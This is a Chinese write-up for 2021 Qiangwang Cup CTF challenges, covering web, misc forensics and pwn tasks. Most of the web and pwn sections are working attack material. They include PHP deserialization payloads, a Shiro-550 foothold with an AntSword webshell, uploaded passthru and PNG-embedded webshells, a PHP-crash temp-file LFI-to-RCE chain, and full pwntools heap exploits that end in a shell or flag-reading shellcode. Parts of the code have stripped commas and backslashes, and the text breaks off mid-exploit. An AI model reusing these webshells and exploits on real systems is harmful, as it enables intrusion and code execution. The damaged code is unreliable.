强网杯-WriteUp

WriteUp 3年前 (2021) admin
1,185 0 0

Web

pop_master

<?php
include "class.php";
//class.php.txt
highlight_file(__FILE__);
$a = $_GET['pop'];
$b = $_GET['argv'];
$class = unserialize($a);
$class->BrtDix($b); //每次重启这块都要变, class.php.txt 内容也会变

先去找所有的 eval 函数名字 然后一直找调用,直到调用的函数名是 BrtDix 就结束

Exp:

<?php
include_once "class.php";

include_once "exp_1.php";
/**
 * 
 * $arr = [
 *  new AAA(),
 *  new BBB(),
 *  ...
 * ];
 * 
 */

$source = file_get_contents('class.php');
$fsource = preg_split('/' . PHP_EOL . '/'$source);

$evalfuncarr = [];
$popchain = [];
$i = [];

function isfuncblacklist($fname) {
  $blacklist = ['MISVgg'];
  foreach($blacklist as $b) {
    if($b == $fname) {
      return true;
    }
  }
  return false;
}

foreach ($arr as $a) {
  $methods=get_class_methods($a);
  foreach ($methods as $method) {
      $func = new ReflectionMethod($a$method);
      if(isfuncblacklist($func->name)) {
        continue;
      }
      $f = $func->getFileName();
      $start_line = $func->getStartLine() - 1;
      $end_line = $func->getEndLine();
      $length = $end_line - $start_line;    
      $body = implode(PHP_EOL, array_slice($fsource$start_line$length));
      if(strstr($body'eval')){
        array_push($evalfuncarr, array('class'=>$a'func'=>$method));
      }
  }
}

function getcaller($funcname) {
  global $arr$fsource$blacklist;
  foreach($arr as $a) {
    $methods=get_class_methods($a);
    foreach ($methods as $method) {
      $func = new ReflectionMethod($a$method);
      if($func->name === $funcname) {
        continue;
      }
      if(isfuncblacklist($func->name)) {
        continue;
      }
      $f = $func->getFileName();
      $start_line = $func->getStartLine() - 1;
      $end_line = $func->getEndLine();
      $length = $end_line - $start_line;    
      $body = implode(PHP_EOL, array_slice($fsource$start_line$length));
      if(strstr($body$funcname)){
        return array(
          'class' => $a,
          'func' => $method
        );
      }
    }
  }
  return NULL;
}

$finded = false;

foreach($evalfuncarr as $a) {
  if($finded == true){
    break;
  }
  $ret = $a;
  $popchain = [];
  while(1) {
    $ret = getcaller($ret['func']);
    if($ret == NULL) {
      array_pop($popchain);
      break;
    }
    array_push($popchain$ret);
    printf("r[-] %s"$ret['func']);
    // BrtDix
    if($ret['func'] == 'BrtDix') {
      printf("n");
      var_dump($popchain);
      foreach($popchain as $p) {
        printf("%s::%s -> ", get_class($p['class']), $p['func']);
      };
      // valid
      valid($a$popchain);
      // $finded = true;
      break;
    }
  }
}

function valid($evalfunc$chain) {
  $code = "<?phpn";
  $code .= "include_once 'class.php';";
  $code .= "$e = new ".get_class($evalfunc['class'])."();n";
  for ($i=0; $i < sizeof($chain); $i++) {
      $tmp = $chain[$i];
      $propname = array_keys(get_object_vars($tmp['class']))[0];
      $t = $i - 1;
      $code .= "$a{$i} = new ".get_class($tmp['class'])."();n";
      if($i == 0) {
        $code .= "$a{$i}->{$propname} = $e;n";
      } else {
        $code .= "$a{$i}->{$propname} = $a{$t};n";
      }
  }
  $m = sizeof($chain)-1;
  $code .= "$a{$m}->BrtDix('system(id);// ');";
  echo $code;
  echo "nn";
  file_put_contents("test_".$evalfunc['func'].".php"$code);
}

强网杯-WriteUp

一边爆破,一边本地跑一下结果,如果有执行 system(id); 就说明这个链能用(图是之前第一次开的环境的)

强网杯-WriteUp

强网杯-WriteUp

强网杯-WriteUp

[强网先锋]赌徒

/www.zip有源码 反序列化直接读

O:5:"Start":1:{s:4:"name";O:4:"Info":1:{s:4:"file";a:1:{s:8:"filename";O:4:"Room":2:{s:8:"filename";s:5:"/flag";s:1:"a";r:4;}}}}

Hard_Penetration

shiro550

强网杯-WriteUp

AntSword WebShell:

http://eci-2ze47ufy58dkmu35o9ys.cloudeci1.ichunqiu.com:8888/ateam
ateam

强网杯-WriteUp

shiro 用户是 ctf 而 /flag 是 www-data 用户的 600 权限

发现本地的 8005 端口上有个 web 服务

挂上内网 socks5访问 http://127.0.0.1:8005

强网杯-WriteUp

RCE CMS 拿 shell 或者 LFI 应该都可以
https://github.com/IsCrazyCat/demo-baocms-v17.1/
thinkphp 3.1.3
http://www.thinkphp.cn/code/253.html
害,居然在代码里面直接有 LFI

强网杯-WriteUp

强网杯-WriteUp

[强网先锋]寻宝

source1:

POST:

ppp[number1]=9999a&ppp[number2]=99e9&ppp[number3]=kaka0723&ppp[number4]=0e00000&ppp[number5]=[NULL]

强网杯-WriteUp

KEY1{e1e1d3d40573127e9ee0480caf1283d6}

强网杯-WriteUp

source2: mac下直接搜内容。。

强网杯-WriteUp

强网杯-WriteUp

EasyWeb

files里找到文件正确的path,查看hint

强网杯-WriteUp

提示扫端口,扫描到36842 http://47.104.136.46:36842/ 

SQLMap 登录处一把梭,拿到 admin 密码

admin 99f609527226e076d668668582ac4420

扫目录

[21:08:20] 307 -    0B  - /account  ->  http://47.104.137.239:36842/account/login
[21:08:20] 307 -    0B  - /account/  ->  http://47.104.137.239:36842/account/login
[21:08:20] 200 -    2KB - /account/login
[21:08:22] 403 -  282B  - /application
[21:08:22] 403 -  282B  - /application/configs/application.ini
[21:08:22] 403 -  282B  - /application/logs/
[21:08:22] 403 -  282B  - /application/cache/
[21:08:22] 403 -  282B  - /application/
[21:08:23] 403 -  282B  - /cgi-bin/
[21:08:24] 200 -  594B  - /composer.json
[21:08:24] 200 -    7KB - /contributing.md
[21:08:24] 307 -    0B  - /dashboard  ->  http://47.104.137.239:36842/account/login
[21:08:25] 307 -    0B  - /file  ->  http://47.104.137.239:36842/account/login
[21:08:25] 307 -    0B  - /file/  ->  http://47.104.137.239:36842/account/login
[21:08:26] 307 -    0B  - /index.php  ->  http://47.104.137.239:36842/account/login
[21:08:29] 403 -  282B  - /server-status/
[21:08:29] 403 -  282B  - /server-status
[21:08:29] 301 -  326B  - /static  ->  http://47.104.137.239:36842/static/
[21:08:30] 403 -  282B  - /system
[21:08:30] 403 -  282B  - /system/
[21:08:30] 403 -  282B  - /system/cache/
[21:08:30] 403 -  282B  - /system/error.txt
[21:08:30] 403 -  282B  - /system/cron/cron.txt
[21:08:30] 403 -  282B  - /system/expressionengine/config/config.php
[21:08:30] 403 -  282B  - /system/expressionengine/config/database.php
[21:08:30] 403 -  282B  - /system/logs/
[21:08:30] 403 -  282B  - /system/storage/
[21:08:30] 403 -  282B  - /system/log/
[21:08:30] 301 -  326B  - /upload  ->  http://47.104.137.239:36842/upload/
[21:08:30] 200 -  131B  - /upload/

访问 /file 路由上传文件

.htaccess

AddHandler php5-script .ant

shell.ant

<?php passthru($_GET['cmd']);

之后访问 shell.ant 写 php webshell

强网杯-WriteUp

/hint

There is no need to raise weights through PWN(but if you can, just do it!). Try to collect some information.

强网杯-WriteUp

强网杯-WriteUp

直接 jexboss 一把梭

强网杯-WriteUp

强网杯-WriteUp

WhereIsUWebShell

<!-- You may need to know what is in e2a7106f1cc8bb1e1318df70aa0a3540.php-->
<?php
// index.php
ini_set('display_errors''on');
if(!isset($_COOKIE['ctfer'])){
    setcookie("ctfer",serialize("ctfer"),time()+3600);
}else{
    include "function.php";
    echo "I see your Cookie<br>";
    $res = unserialize($_COOKIE['ctfer']);
    if(preg_match('/myclass/i',serialize($res))){
        
        throw new Exception("Error: Class 'myclass' not found ");
    }
}
highlight_file(__FILE__);
echo "<br>";
highlight_file("myclass.php");
echo "<br>";
highlight_file("function.php");
<?php
// myclass.php
class Hello{
    public function __destruct()
    {   if($this->qwb) echo file_get_contents($this->qwb);
    }
}
?>
<?php
// function.php
function __autoload($classname){
    require_once "/var/www/html/$classname.php";
}
?>

读文件 exp.php

<?php
class myclass{}
class Hello{ public $qwb;}

$a= new Hello();
$a->qwb = "/var/www/html/e2a7106f1cc8bb1e1318df70aa0a3540.php";
$b = new myclass();

$c = urlencode(serialize([$b$a]));
$cookie = str_replace("a%3A2""a%3A3"$c);

$req = curl_init("http://eci-2ze1vm55dfrbg963rkw5.cloudeci1.ichunqiu.com:80/");
curl_setopt($req, CURLOPT_RETURNTRANSFER, true);
curl_setopt($req, CURLOPT_HTTPHEADER, array(
  "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
  "Cache-Control: no-cache",
  "Upgrade-Insecure-Requests: 1",
  "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:87.0) Gecko/20100101 Firefox/87.0",
  "Connection: close",
  "Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
));

curl_setopt($req, CURLOPT_COOKIE,"ctfer=".$cookie);
$result = curl_exec($req);

echo "Status code: ".curl_getinfo($req, CURLINFO_HTTP_CODE)."n";
echo "Response body: ".$result."n";

curl_close($req);

e2a7106f1cc8bb1e1318df70aa0a3540.php 这个文件里面的 GET 参数每次启动环境都会变

<?php
include "bff139fa05ac583f685a523ab3d110a0.php";
include "45b963397aa40d4a0063e0d85e4fe7a1.php";
$file = isset($_GET['293410ae-355b-4fb9-8ded-3275c1ada3a6'])?$_GET['293410ae-355b-4fb9-8ded-3275c1ada3a6']:"404.html";
$flag = preg_match("/tmp/i",$file);
if($flag){
    PNG($file);
}
include($file);
$res = @scandir($_GET['7bd47456-b0af-434b-9bec-e7e0ade74076']);
if(isset($_GET['7bd47456-b0af-434b-9bec-e7e0ade74076'])&&$_GET['7bd47456-b0af-434b-9bec-e7e0ade74076']==='/tmp'){
    $somthing = GenFiles();
    $res = array_merge($res,$somthing);
}
shuffle($res);
@print_r($res);
?>

bff139fa05ac583f685a523ab3d110a0.php

<?php
function PNG($file)
{
    if(!is_file($file)){die("我从来没有见过侬");}
    $first = imagecreatefrompng($file);
    if(!$first){
        die("发现了奇怪的东西2333");
    }
    $size = min(imagesx($first), imagesy($first));
    unlink($file);
    $second = imagecrop($first, ['x' => 0, 'y' => 0, 'width' => $size'height' => $size]);
    if ($second !== FALSE) {
        imagepng($second$file);
        imagedestroy($second);//销毁,清内存
    }
    imagedestroy($first);
}
?>

45b963397aa40d4a0063e0d85e4fe7a1.php

<?php

function GenFiles(){
    $files = array();
    $str = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
    $len=strlen($str)-1;
    for($i=0;$i<10;$i++){
        $filename="php";
        for($j=0;$j<6;$j++){
            $filename  .= $str[rand(0,$len)];
        }
        // file_put_contents('/tmp/'.$filename,'flag{fake_flag}');
        $files[] = $filename;
    }
    return $files;
}

?>

强网杯-WriteUp

存在 open_basedir, flag 名字不是 /flag

File(/etc/passwd) is not within the allowed path(s): (/var/www/html:/tmp) 

file_get_contents(/flag): failed to open stream: No such file or directory

可以利用 ../../ 读到真实的 /tmp 目录下的文件

强网杯-WriteUp

直接崩溃php,让POST的文件留下
https://xz.aliyun.com/t/2657#toc-3
https://github.com/hxer/imagecreatefrom-/tree/master/png/poc

强网杯-WriteUp

用这个脚本生成 1.png 上传,crop 之后 php 代码还会保留

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);

$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img$r$g$b);
   imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'./1.png');

Shell:

<?=$_GET[0]($_POST[1]);?>

利用 e2a7106f1cc8bb1e1318df70aa0a3540.php 中的 include 去包含,由于 PNG 方法有 is_file 的检查,所以没法用 php://filter 去让 php crash 留住临时文件,我们得利用 index.php 中的 file_get_content 去 crash PHP

强网杯-WriteUp

用 index.php 里反序列化触发 php7 Segment Falt 让临时文件留在 /tmp 下 所以目标的 php <= 7.0.9

php://filter/string.strip_tags/resource=passwd·

然后 include 触发RCE

强网杯-WriteUp

找到了 flag 文件,但是没权限读

/l1b/000912eb/389a2c68/3e3e2851/b6620b41/64015faa/Fl444gggde7bf35d

400 权限,找一下suid 文件,读 flag

强网杯-WriteUp

Misc

BlueTeaming

内存取证,根据题意直接找注册表

Volatility Foundation Volatility Framework 2.6
INFO    : volatility.debug    : Determining profile based on KDBG search...
           Suggested Profile(s) : Win7SP1x64, Win7SP0x64, Win2008R2SP0x64, Win2008R2SP1x64_24000, Win2008R2SP1x64_23418, Win2008R2SP1x64, Win7SP1x64_24000, Win7SP1x64_23418
                     AS Layer1 : WindowsAMD64PagedMemory (Kernel AS)
                     AS Layer2 : FileAddressSpace (/mnt/Share/memory.dmp)
                      PAE type : No PAE
                           DTB : 0x187000L
                          KDBG : 0xf80002be3120L
          Number of Processors : 4
     Image Type (Service Pack) : 1
                KPCR for CPU 0 : 0xfffff80002be5000L
                KPCR for CPU 1 : 0xfffff88002f00000L
                KPCR for CPU 2 : 0xfffff88002f7e000L
                KPCR for CPU 3 : 0xfffff880009b1000L
             KUSER_SHARED_DATA : 0xfffff78000000000L
           Image date and time : 2020-11-26 13:00:41 UTC+0000
     Image local date and time : 2020-11-26 22:00:41 +0900

解压出来有个memory.dmp,通过volatility插件dumpregistry提取出来注册表

强网杯-WriteUp

在放入windows registry recovery查看注册表,手翻出路径HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCommunication

强网杯-WriteUp

强网杯-WriteUp

volatility 工具的学习文档https://wiki.wgpsec.org/knowledge/ctf/Volatility.html

注册表位置:HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCommunication

ISO1995

先改后缀成 iso 然后解包发现很多 flag 开头的文件,每个 1byte,然后按顺序拼接以后的数据时乱码解不开,认真阅读 ISO1995 标准,发现文件时间那里不对

强网杯-WriteUp

随便看了几个文件,发现分钟和秒钟都没有超过 FF,猜测这里是不是有隐写

艹。这是文件序号。直接写脚本提取拼接

强网杯-WriteUp

之后根据文件序号拼接文件,完整处理脚本

#!/usr/bin/env python3
#codeing: utf8

def read_flag_file(file_name):
    with open("ISO1995\" + file_name, "r") as f:
        data = f.read()
    return data

with open("iso1995.iso""rb") as f:
    iso_data = f.read()

file_list = []

while 1:
    temp_index = iso_data.find(b"xffxffxffxff")
    if temp_index < 0:
        # 跑完了就结束
        break
    # 文件序号。相对xFFxFFxFFxFF偏移0字节,长度 2 byte
    file_num_start = temp_index + 4
    file_num_stop  = file_num_start + 2
    file_num = iso_data[file_num_start:file_num_stop].hex()
    # 添加到列表
    file_list.append(f"{file_num}")
    # 把处理过的数据干掉, 每个文件的数据中间偏移 22 byte
    iso_data = iso_data[temp_index + 2 :]

print(file_list)
# 拼接数据
data = ""
for file_data in file_list:
    file_num = int(file_data.split(",")[0],16)
    file_name = "flag_f" + str(file_num).zfill(5)
    data += read_flag_file(file_name)
print(data)

强网杯-WriteUp

CipherMan

file 查看发现是 MBR

强网杯-WriteUp

通过 memory 提取出一个 txt,在把它 dump 下来

PS C:Userswolf_Desktop强网> .volatility_2.6_win64_standalone.exe -f memory --profile=Win7SP1x86_23418 filescan | findstr "txt"
Volatility Foundation Volatility Framework 2.6
0x000000007e02af80      8      0 -W---- DeviceHarddiskVolume2UsersRockAndRollDesktopBitLocker ??? ??168F1291-82C1-4BF2-B634-9CCCEC63E9ED.txt
0x000000007e7c7948      1      1 -W-rw- DeviceHarddiskVolume2UsersROCKAN~1AppDataLocalTempFXSAPIDebugLogFile.txt

root@ubuntu:~/qwb# vol.py -f memory --profile=Win7SP1x86_23418 dumpfiles -Q 0x000000007e02af80 -D ./ -u
Volatility Foundation Volatility Framework 2.6.1
DataSectionObject 0x7e02af80   None   DeviceHarddiskVolume2UsersRockAndRollDesktopBitLocker 복구 키 168F1291-82C1-4BF2-B634-9CCCEC63E9ED.txt

提出来之后我们 cat 一下发现 bitlocker 的恢复密钥

强网杯-WriteUp

恢复密钥:221628-533357-667392-449185-516428-718443-190674-375100

进行 bitlocker 分区解密操作 使用工具 diskgenius 加载 Secret

强网杯-WriteUp

解锁之后发现一个文件 README,里面的内容就是 flag(早看见flag了,但没想到是这种格式….还以为后续还有别的东西)

强网杯-WriteUp

ExtremelySlow

流量中的包头序号即为这个字节的位置

强网杯-WriteUp

wireshark 中设置规则http.response.code == 206

之后提取所有内容

强网杯-WriteUp

然后再 txt 里把没用的全部删除,留下序号和 1byte,按序号拼接文件

强网杯-WriteUp

将文件提取出来之后看起来像是一个pyc的二进制

具体看群文件Misc_ExtremelySlow.bin

将头部第一个字节从6F改为61后发现可以运行,反编译的话好像是有部分代码没法反编译出来

强网杯-WriteUp

反编译出字节码,然后手撸反编译

import dis
import marshal

with open('123.pyc''rb') as f:
    f.seek(16)
    dis.dis(marshal.load(f))

反编译之后看到是一个 RC4,根据逻辑得到 key,然后开始对其中各项解密,但是由于不知道 p 的具体值,先给 26个’a’填充一下,看看 t 解密是啥,得到

强网杯-WriteUp

但是还是没有 flag 的信息,之后想到可能是 pyc 隐写,用工具解,发现报错,不确定是不是该版本 pyc 文件头已经有 16 字节还是怎么了,https://www.anquanke.com/post/id/185481里说头是 8 字节,工具里用的是 12 字节,但是都报错,后来发现 16 字节不会报错,于是改工具,还会报 py3 的一个编码错误,nop 掉就好,最后得到

强网杯-WriteUp

直接把隐写出来的数据丢到 pyc 反编译出来的东西里,拿到 flag

import py_compile
import dis
import marshal
import sys
from hashlib import sha256

w = b'xf6xefx10Hxa9x0fx9fxb5x80xc1xdxaexd3x03xb2x84xc2xb4x0exc8xf3<x151x19nx8f' #'Give me the mystery string :'
e = b'$r9xa3x18xddWxc9x97xf3xa7xa8R~' # b'You are wrong!'
b = b'geo' #一部分密钥

s = b'}xce`xbejxa2x120xb5x8ax94x14{xa3x86xc8xc7x01x98xa3_x91xd8x82T*Vxabxe0xa1x141' #sha256
t = b"Q_xe2xf8x8cx11M}'<@xceTxf6?_mxa4xf8xb4xeaxcaxc7:xb9xe6x06x8bxebxfabHx85xJ3$xddxdexb6xdcxa0xb8bx961xb7x13=x17x13xb1" #b'Congratulations! Now you should now what the flag is'

m = {2:115, 8:97, 11:117, 10:114}

n = {3:119, 7:116, 9:124, 12:127}

def KSA(key):
    keylength = len(key)

    S = list(range(256))

    j = 0
    for i in range(256):
        j = (j + S[i] + key[i % keylength]) % 256
        S[i], S[j] = S[j], S[i] # swap

    return S

def PRGA(S):
    i = 0
    j = 0
    while True:
        i = (i + 1) % 256
        j = (j + S[i]) % 256
        S[i], S[j] = S[j], S[i] # swap

        K = S[(S[i] + S[j]) % 256]
        yield K

def RC4(key):
    S = KSA(key)
    return PRGA(S)

def xor(p,stream):
# (stream)
# xor = 
# bytes(map(stream, ))
    return bytes(map(lambda x:x ^ stream.__next__(), p))

# n = {2:115, 8:97, 11:117, 10:114}
# x:x^n[x] -> 
m.update({x:x^n[x] for x in n})
#m = m.update(( (i.bit_count(), i) for i in b))
mm = {5:103,4:101,6:111}
m.update(mm)
stream = RC4(list(map(lambda m:m[1], sorted(m.items()))))
# print welcome banner...
# print(stream)

stream=RC4(list(map(lambda x: x[1],sorted(m.items()))))
banner = xor(w, stream).decode()
wrong = xor(e, stream).decode()
p = b'xe5n2xd6"xf0}Ixb0xcdxa2x11xf0xb4Ux166xc5oxdbxc9xeadx04x15b'
c = xor(p, stream)
print(xor(t, stream))
print(c)

强网杯-WriteUp

Eztime

https://github.com/jschicht/LogFileParser/

找到解码$LogFile的工具

得到经过解码的 excel

强网杯-WriteUp

根据 http://www.doc88.com/p-1116932821013.html

得到“当文件最初生成时,时间会被统一设置成文件产生的时间”

因此至少需要【CreateTime】【Modified Time】【MFT_Modified Time】【Access Time】中其中一项跟其他不同的文件

0x000918E8|148|||2171677|0|UpdateResidentValue|UpdateResidentValue|56|{45EF6FFC-F0B6-4000-A7C0-8D1549355A8C}.png|$STANDARD_INFORMATION||||||||0000-00-00 00:00:00|2021-05-20 15:59:45.1738091|2021-05-20 15:59:45.1738091|2021-05-22 16:28:34.0224820|archive|0|0|0|264|0|-1|||||||||||||||||||64|64|0x00000000|1|0x00000018|0x0000|0x0018|0x0001|32|0x0000|0x00000025|0x0001557A|-1|0|0 

发现时间不一致,判定{45EF6FFC-F0B6-4000-A7C0-8D1549355A8C}.png为存在问题的文件

Pwn

baby_diary

漏洞点:

强网杯-WriteUp

往堆块里写的时候会在最后多写半个字节,其计算方式就是: 累加所有字节之和,然后再 16 进制下逐位相加,直到小于0xf

题目并没有限制申请的 size 大小,所以可以利用这半个字节的溢出进行off by null的利用,给的 libc 是 2.31 的,所以这里要绕过 prev_size 和 unlink 的检查,其中为了绕过 unlink 检查,要伪造 fd 和 bk 指针,且需要指针结尾是’x00’,所以预先申请的堆指针要恰好对其到0x100

Exp 如下:

from pwn import * 
import sys

pc="./baby_diary" 
reomote_addr=["8.140.114.72",1399]

elf = ELF(pc)

context.binary=pc 
p=process(pc,env={"LD_PRELOAD":"./libc-2.31.so"}) 
# p = remote(reomote_addr[0],reomote_addr[1])

ru = lambda
sn = lambda
rl = lambda
sl = lambda
rv = lambda
sa = lambda
sla = lambda a,b : p.sendlineafter(a,b)

def lg(s,addr): 
    print('33[1;31;40m%20s-->0x%x33[0m'%(s,addr))

def menu(choice): 
    ru(">> ")
    sl(str(choice))
    
def add(size,c='a'): 
    menu(1)
    ru("size: "
    sl(str(size)) 
    ru("content: "
    sl(c)
    
def dele(idx): 
    menu(3)
    ru("index: "
    sl(str(idx))
    
def show(idx): 
    menu(2)
    ru("index: "
    sl(str(idx)) 
    ru("content; ")
    
for i in range(7): 
    add(0x38-1,'padding'# 0-6
    
add(0x98-1,"padding"#7 
add(0xb40, "padding"#8 
add(0x10, "padding"#9

dele(8)

add(0x1000, ''
add(0x38-1, '' ) #

##-------------------------------------------## 
add(0x38-1,'padding'#11
add(0x80,'padding'#12
add(0x38-1, 'a'#13
add(0x38-1, 'b'#14 
add(0x38-1, 'c'#15 
add(0x38-1, 'd'#16
for i in range(7): 
    dele(i)
    
dele(15) 
dele(13) #0x600

# clear tcache
for i in range(7): # 0-6
    add(0x38-1, '')
    
add(0x420,'padding'#13 
add(0x38-1,p64(0x50)) #15 0x600
##-------------------------------------------## 
dele(10) 
add(0x38-1,'x00'*7+'x03'+p64(0x201))

add(0x38-1, 'clear'
for i in range(7):
    dele(i)
    
dele(11)
dele(10)
for i in range(7):
    add(0x38-1, '')
##-------------------------------------------## 
add(0x38-1, '')

dele(16) 
add(0x38-1,'x00'*0x37) #11 
dele(11) 
add(0x38-1,'x00'*0x2f+'x20')

dele(13) 
add(0x30) 
add(0x20) 
add(0x30)

show(12)
libc_base = ru('x7f')[-6:].ljust(8,'x00')- 0x1ebbe0

dele(17) 
dele(15)

sys_addr = 0x55410 + libc_base 
free_hook = 0x1eeb28 +libc_base

add(0xa0,'x00'*0x88+p64(0x41)+p64(free_hook)) 
add(0x30,'/bin/shx00'#17 
add(0x30,p64(sys_addr)) #19
dele(17)
p.interactive()

babypwn

泄露地址时会有加密,所以可以用 z3 解密,得到 libc 基地址,然后是 libc2.27 条件下的 0ff by null 利用,实现 chunk overlap,最后用 free_hook+setcontext53 的方式,用 ORW 读出 flag

import os
import sys
import subprocess
from pwn import *
 
context.arch = "amd64"
context.log_level = "debug"
 
elf_addr = "./babypwn"                                   
pro_libc = "./libc.so.6"     
 
# sh = remote("39.105.130.158",8888)
 
sh = process(elf_addr)
elf = ELF(elf_addr)
 
def add(size):
    sh.recvuntil(">> n")
    sh.sendline("1")
    sh.recvuntil("size:n")
    sh.sendline(str(size))
def show(idx):
    sh.sendlineafter(">> n","4")
    sh.sendlineafter("index:n",str(idx))
def edit(idx,content):
    sh.sendlineafter(">> n","3")
    sh.sendlineafter("index:n",str(idx))
    sh.sendlineafter("content:n",content)
def free(idx):
    sh.sendlineafter(">> n","2")
    sh.sendlineafter("index:n",str(idx))
 
def encode(a1):
    d1 = (32*a1)&0xffffffff
    d2 = d1^a1
    d3 = d2>>17
    d4 = ((d2 ^ d3) << 13)&0xffffffff
    a1 ^= d1 ^ d3 ^ d4
 
    d1 = (32*a1)&0xffffffff
    d2 = d1^a1
    d3 = d2>>17
    d4 = ((d2 ^ d3) << 13)&0xffffffff
    a1 ^= d1 ^ d3 ^ d4
    return hex(a1)[2:]
 
def decode_1(a):
    log.progress("decode_1")
    for i in range(0x0, 0xff):
        head = chr(i)+"x7fx00x00"
        if encode(u32(head))==str(a, encoding='utf-8'):
            success("ok~ decode_1")
            return head
 
def decode_2(a):
    log.progress("decode_2")
    for i1 in range(0x0, 0xff):
        for i2 in range(0, 0xff):
            for i3 in range(2, 0xff, 0x10):
                last = "x10"+chr(i3)+chr(i2)+chr(i1)
                if encode(u32(last)) ==str(a, encoding='utf-8'):
                    success("ok~ decode_2")
                    return last
 
# off by null; overlaping 堆块向前合并
add(0xf8)                       #0
for i in range(7):              #1-7
    add(0xf8)
 
add(0x108)                      #8
add(0x108)                      #9
for i in range(1,8):            #1-7
    free(i)
free(0)
 
edit(8, b"a"*0x108)
edit(8, b"b"*0x100+p64(0x910))
edit(9, b"x00"*0xf8+p64(0x11))
free(9)
 
for i in range(7):  # 0-6
    add(0xf8)
add(0x200) # idx_7  have idx_0-1
 
show(7)
a2 = sh.recv(8)
sh.recvuntil("n")
a1 = sh.recv(8)
success("a1 => %s",a1)
success("a2 => %s",a2)
print(encode(0x7fff))
head = decode_1(a1)
last = decode_2(a2)
main_arena1488 = u64(last+head)
success("main_arena96 => 0x%x",main_arena1488)
libc_base = main_arena1488-1488-0x10-libc.sym["__malloc_hook"]
success("libc_base => 0x%x",libc_base)
free_hook = libc_base+libc.sym["__free_hook"]
setcontext = libc_base+libc.sym["setcontext"]
 
free(5)
free(6)
payload = flat([
    "x00"*0xf8,
    p64(0x101)+p64(free_hook-8)
])
edit(7, payload)
 
add(0xf8)
add(0xf8)
shellcode = """
    push 1
    dec byte ptr [rsp]
    mov rax, 0x7478742e67616c66
    push rax
    /* call open('rsp', 'O_RDONLY', 0) */
    push 2 /* 2 */
    pop rax
    mov rdi, rsp
    xor esi, esi /* O_RDONLY */
    cdq /* rdx=0 */
    syscall
    /* call sendfile(1, 'rax', 0, 0x7fffffff) */
    mov r10d, 0x7fffffff
    mov rsi, rax
    push 40 /* 0x28 */
    pop rax
    push 1
    pop rdi
    cdq /* rdx=0 */
    syscall
"
""
payload2 = flat(["/bin/shx00"
    p64(setcontext + 53), 
    p64(free_hook + 0x10), 
    asm(shellcode)
])
 
edit(6, payload2)
 
frame = SigreturnFrame()
frame.rsp = free_hook + 0x8
frame.rdi = (free_hook) & 0xfffffffffffff000
frame.rsi = 0x1000
frame.rdx = 7
frame.rip = libc_base+libc.sym['mprotect']
edit(7, bytes(frame))
free(7)
 
sh.interactive()

强网杯-WriteUp

pipeline

这个题相当于一个链表机制,edit 有 realloc,可以借助 realloc 来完成 free,append 处存在整数溢出。

泄露 main_area+96 地址

强网杯-WriteUp

free_hook写入chunk

强网杯-WriteUp

free_hook里写入system

强网杯-WriteUp

写入/bin/sh

强网杯-WriteUp

进入 realloc,free 之后 getshell

强网杯-WriteUp

from pwn import *
context.log_level = 'debug'
context.terminal = ["tmux","new-window"]
p = remote("59.110.173.239", 239)
#p = process("./pipeline"l)
libc = ELF("./libc-2.31.so")
def new():
    p.recvuntil(">> ")
    p.sendline("1")
def edit(index, size):
    p.recvuntil(">> ")
    p.sendline("2")
    p.recvuntil("index: ")
    p.sendline(str(index))
    p.recvuntil("offset: ")
    p.sendline(str(0))
    p.recvuntil("size: ")
    p.sendline(str(size))
def destroy(index):
    p.recvuntil(">> ")
    p.sendline("3")
    p.recvuntil("index: ")
    p.sendline(str(index))
def append(index, size, data):
    p.recvuntil(">> ")
    p.sendline("4")
    p.recvuntil("index: ")
    p.sendline(str(index))
    p.recvuntil("size: ")
    p.sendline(str(size))
    p.recvuntil("data: ")
    p.sendline(data)
def show(index):
    p.recvuntil(">> ")
    p.sendline("5")
    p.recvuntil("index: ")
    p.sendline(str(index))
    p.recvuntil("data: ")

new()
new()
new()
edit(0,0x68)
edit(1,0x68)
edit(0,0)
edit(1,0)

edit(1,0x68)


edit(0,0x450)
edit(1,0x78)
edit(0,0)
edit(0,0x18)
show(0)
#leak libc
libc_base = u64(p.recv(6).ljust(8,b"x00")) - 96 - libc.symbols["__malloc_hook"] - 0x10 - 0x400
#getshell
new()
payload = b'b'*0x18 + p64(0x21)
payload += p64(libc_base + libc.symbols["__free_hook"])
payload += p32(0) + p32(0x100)
append(0, 0x80000100, payload)

#gdb.attach(p)
append(3, 0x20, p64(libc_base + libc.symbols["system"]))
append(0, 0x20, '/bin/shx00')
edit(0,0)
log.info("libc_base------------------>"+hex(libc_base))
p.interactive()

强网杯-WriteUp

[强网先锋]orw

bss 段上的堆结构体可以越界,覆盖到 free 的 got 表;自定义的 read 函数里面当 size=0 时可以写任意长度,

from pwn import *
context.log_level='debug'
context.arch='amd64'
remote_addr=["39.105.131.68",12354] 
def add(index,size,content):
 p.recvuntil('choice >>n')
 p.sendline('1')
 p.recvuntil('index:n')
 p.sendline(str(index))
 p.recvuntil('size:n')
 p.sendline(str(size))
 p.recvuntil('content:n')
 p.sendline(content)

shellcode='''
xor rdi,rdi
mov rdi,0x67616c662f
push rdi
mov rdi,rsp
xor rsi,rsi
xor rdx,rdx
mov rax,2
syscall

mov rdi, rax
mov rsi,rsp
mov rdx, 0x50
mov rax,0
